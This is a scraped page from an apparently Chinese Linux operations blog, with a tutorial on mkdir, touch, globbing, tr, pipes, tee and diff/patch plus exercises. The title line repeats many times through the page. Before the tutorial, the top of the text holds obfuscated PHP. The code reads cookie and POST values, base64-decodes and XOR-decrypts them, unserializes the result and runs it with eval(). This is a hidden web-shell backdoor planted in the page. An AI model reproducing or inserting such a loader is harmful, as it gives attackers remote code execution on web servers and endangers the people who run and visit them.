$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用 | Linux运维部落

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

mkdir 创建目录
-p: 存在于不报错可自动创建所需的各目录 (递归创建)mkdir -p a/d/c/b
-m: mode 创建时指定权限  # mkdir -m 777 filename
     文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用
文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用  
rmdir
删除空目录

-p 递归删除空目录

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

touch 
当文件不存在时,则创建一个空文件(默认)
-c 当文件不存在时,不创建
当文件存在时
默认或-c 更新全部时间戳
-a 更新atime和ctime
-m 更新mtime和ctime
-t [[CC]YY]MMDDhhmm[.ss] 指定atime和mtime的时间戳(如:

                       touch -t 201706121620 +filename)

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

* 作业:如何实现只显示指定目录下的隐藏文件。(ls -I )   # ls -a |grep ‘^\.’
        # ls -d /etc/.*    #ls -a -I  “[^.]*”    #l.

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用
[:digit:]:任意数字,相当于0-9  
[:lower:]:任意小写字母
[:upper:]: 任意大写字母
[:alpha:]: 任意大小写字母
[:alnum:]:任意数字或字母
[:blank:]:水平空白字符 
[:space:]:水平或垂直空白字符 
[:punct:]:标点符号 
[:print:]:可打印字符 
[:cntrl:]:控制(非打印)字符 
[:graph:]:图形字符 
[:xdigit:]:十六进制字符

l练习:
1、显示/etc目录下以任意一位数字开头,且以非数字结尾的文件或目录

ls -d /etc/[[:digit:]]*[^[:digit:]]

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

2、显示/etc/目录下以非字母开头,后面跟了一个字母及其 它任意长度任意字符的文件或目录
ls -d /etc/[^[:alpha:]][[:alpha:]]*

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用
3、显示/etc/目录下所有以rc开头,并后面是0-6之间的数 字,其它为任意字符的文件或目录
ls -d /etc/rc[0-6]*

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

作业:
1、显示/etc目录下,所有以.d结尾的文件或目录
    # ls -d /etc/* .d

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用
2、显示/etc目录下,所有.conf结尾,且以m,n,r,p开头的文件或目录
    # ls /etc/[mnrp]*/*.conf

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用
3、只显示/root下的隐藏文件和目录
   # ls -d /root/.*

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用
4、只显示/etc下的非隐藏目录
  # ls /etc |grep [^.]*  # ls -d /etc/*/
  # ls -F |grep /(ls -F 把文件按照类型分类  /就是标识是目录)

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

 文件的类型:

        -普通文件

        d目录文件
        l软链接文件
        c字符设备
        b块设备
       s套接字sock
       p管道文件
file可查看文件类型
  -b 不显示文件名 ,只列出文件辨识的结果
  -f 列出filelist中文件名的文件类型
  -F是指定的分隔符号替换输出文件名后默认的“:”分隔符
he
hexdump -C +文件名查看头部信息看文件类型
vim +name.sh写脚本
输入输出:
 cd /dev/fd(三个设备 0来着终端默认的输入/输出来自键盘,1正确的输出,2错误的输出)
       ls -l           fd:file descriptor(文件描述符)
验证复制一个终端进行:
             # ls /etc/passwd/app/passwd
>          # echo nihao > /dev/pts/
1>        # echo nimei 1> /dev/pts/2(输出正确)
2>  # echo wohao 2> /dev/pts/2(输出错误)
 > 2>&1 或&> # ls /etc/passwd /app/passwd > /dev/pts/2 2>&1
            # ls /etc/passwd /app/passwd &> /dev/pts/2 
tr命令的使用:
 tr 命令:(输入重定向)(<输出)# tr ‘asd’ ‘dfg’(转换)
 tr -s ” 连续字符删掉留一个
 tr -d ” 删除某个字符 (# cp /etc/fstab /app  # cd /app # ls
        # cat fstab  # tr -d adc <fstab)
 tr -dc ”只保留空格里的字母
 tr ‘a-z’ ‘A-z’小写转换为大写
 tr -t ” 没有不转换 # tr -t ‘adgf’ ‘bnm’(没有f就原样输出)
 tr -c  取反
[root@centos7 app]# echo aaaabbbcccccccdddd | tr -t ‘abcd’ ‘edf’
  eeeedddfffffffdddd

管道 :可多级进行| 将正确结果重定向给下一条命令   2>&1 | 或 |&全部结果重定向
      将错误输出改为正确输出 2>&1
      将正确输出改为错误输出 1>&2

  获取boot目录所在分区的可用空间(# df -h  # df -h > df.txt # cat df.txt
                            # tr -s [:space:] < df.txt)

 df -h 
 # tr -s [:space:]|grep /boot |cut -d” ” -f5 |cut -d “%” -f1

获取本机的IP地址
  ifconfig ens34 |grep broadcast |tr -s ‘[:space:]’|cut -d ” ” -f3

 [root@centos7 app]# tr ‘a-z’ ‘A-Z’ < ~/.bashrc (标准输入)
 [root@centos7 app]# cat ~/.bashrc |tr ‘a-z’ ‘A-Z’//输入输出同时进行


<<“tee“使用tee既可以显示在终端上也可以保存(生成)文件也可发出去
     //# echo abc | tee hello.txt

  tee -a (追加)# echo 123 |tee -a hello.txt  >>

*********************************************************************
1、将当前系统登录用户的信息转换为大写后保存至/tmp/who.out文件中
      who | tr ‘a-z’ ‘A-Z’ | tee -a /tmp/who.out

2、一个linux用户给root发邮件,要求邮件标题为”help”,邮件正文如下:
    Hello, I am 用户名,The system version is here,please help me to 
    check it ,thanks!
    操作系统版本信息
    echo -e ‘Hello, I am’ $USER ‘,The system version is here,please help me to check it,thanks!\n’ uname -a|mail -s “help” root

3、将/root/下文件列表,显示成一行,并文件名之间用空格隔开
   ls -1 |tr ‘\n’ ‘ ‘

4、计算1+2+3+..+99+100的总和
    Answer1:
    #! /bin/bash
         j=0
    for ((i=0;i<=100;i++))
        do
        ((j=j+i))
       done
     echo $j

    Answer2:
  echo {1..100} |tr ‘ ‘ ‘+’ |bc
文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用
5、删除Windows文本文件中的‘^M’字符
    #rz(添加传入)创建 win.txt linux.txt   cat -A(查看换行符)
    #cat -A win.txt |tr -d ‘^M’
    #cat  win.txt |tr -d ‘^M’ > win1.txt(重新导入新文件)
6、处理字符串“xt.,l 1 jr#!$mn 2 c
/fe 3 uz 4”,只保留其中的数字
和空格
    echo  ‘”xt.,l 1 jr#!$mn 2 c*/fe 3 uz 4″‘ |tr -cd [:digit:][:space:]
7、将PATH变量每个目录显示在独立的一行
    echo $PATH |tr ‘:’ ‘\n’

8、将文件中每个单词(由字母组成)显示在独立的一行,并无空行
   cat /etc/fstab |tr -c [a-zA-Z] ‘\n’ |tr -s [:space:]

diff 比较文件 它的使用方法过程:

     # diff f1 f2    仅比较区别(4a5 四行后面多了一行五行)
     # diff -u f1 f2 > diff.log 生成补丁  diff -u 补丁生成工具
     #mv f2 f2.orig  相当于删除了文件 。其实是将f2名字改为f2.orig 文件内容一致
     #patch -b f1 diff.log    通过补丁还原文件生成新的含补丁文件内容的f1 而生成的f1.orig 是原文件f1
     #mv f1 f2       还原原始的新文件名f2
     #mv f1.orig f1  还原原始的旧文件名f1
     #diff f2 f2.orig  比较还原回来的新文件与被删除的文件,发现没有区别。

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用
文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

1、找出ifconfig “网卡名” 命令结果中本机的IPv4地址
    #ifconfig |head -n 2 |tail -n 1|tr -s ” ” : |cut -d: -f4
    #ifconfig  ens34 |head -n 2 |tail -n 1 |tr -s ” ” |cut -d ” ” -f3

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用
2、查出分区空间使用率的最大百分比值
df|tr -s ‘ ‘ %|sort -t% -k5 -n|tail -n 1|cut -d% -f5

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用
3、查出用户UID最大值的用户名、UID及shell类型
cat /etc/passwd |cut -d: -f1,3,7|sort -n -t : -k 2|tail -n 1

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用
文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

4、查出/tmp的权限,以数字方式显示

stat /tmp| head -n 4|tail -n 1|cut -d/ -f1|cut -d'(‘ -f2
stat -c %a /tmp/

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

5、统计当前连接本机的每个远程主机IP的连接数,并按从大到小排序

netstat -tun | grep ESTAB |tr -s ” ” : |cut -d: -f6 |sort -nr |uniq -c (uniq -c显示连续重复的次数(统计次数))

文件管理的相关命令使用及标准I/O,管道,diff及文件工具的使用

原创文章,作者:MOMO,如若转载,请注明出处:http://www.178linux.com/82845

(0)
上一篇 2017-07-29 20:04
下一篇 2017-07-29 20:15

相关推荐

  • awk灵活运用

    awk:报告生成器,格式化文本输出        有多种版本:New awk (nawk ),GNU awk(gawk)gawk:模式扫描和处理语言基本用法:awk [options] ‘program’ var=value file…awk [options] -f progr…

    Linux干货 2017-04-08
  • 也许你根本不会用百度搜索

    搜索引擎可以帮助使用者在Internet上找到特定的信息,但它们同时也会返回大量无关的信息。但是如果多使用一些技巧,你将发现搜索引擎会花尽可能少的时间找到你需要的确切信息。 1.简单查询 这个就是最简单便捷的使用方式,其实也是我们大多数人平时使用百度或者其他搜索引擎的方式。比如你想查培训学校,那么你的第一反应肯定就是在百度里输入【挖掘机】【挖掘机学校】【蓝翔…

    2015-03-02
  • 第一周-N28

    1、描述计算机的组成及功能 我们现在常用的计算机,包括手机及智能设备,通常由五大部件组成(冯若依曼提出),如下图所示: 五大部件: 运算器:做算数运算(加减乘除取余)和逻辑运算(移位) 控制器:控制各部分协调的功能。 CPU包括以下四个部分:运算器、控制器、寄存器、缓存 I/O设备:即输入输出设备,用于跟外部交互。通常为磁盘、键盘、鼠标、显示器、打印机等。I…

    2017-12-04
  • 程序包管理:rpm , yum ,与编译

    1.RPM,Redhat Package Manager。是Redhat和CentOS等Linux系统上常见的软件安装工具。 软件安装: 常见选项 -i                #install…

    Linux干货 2016-03-26
  • N28-第二周

    文件管理命令: cp命令:copy    源文件;目标文件; 单源复制:cp [OPTION]… [-T] SOURCE DEST多源复制:cp [OPTION]… SOURCE… DIRECTORYcp [OPTION]… -t DIRECTORY SOURCE… 单源复制:cp [OPTION]…

    Linux干货 2017-12-17
  • 第六周

    1、复制/etc/rc.d/rc.sysinit文件至/tmp目录,将/tmp/rc.sysinit文件中的以至少一个空白字符开头的行的行首加#; :%s/^[[:space:]]\+/#&/ 2、复制/boot/grub/grub.conf至/tmp目录中,删除/tmp/grub.conf文件中的行首的空白字符; :%s/^[[:space:]]\…

    Linux干货 2016-09-19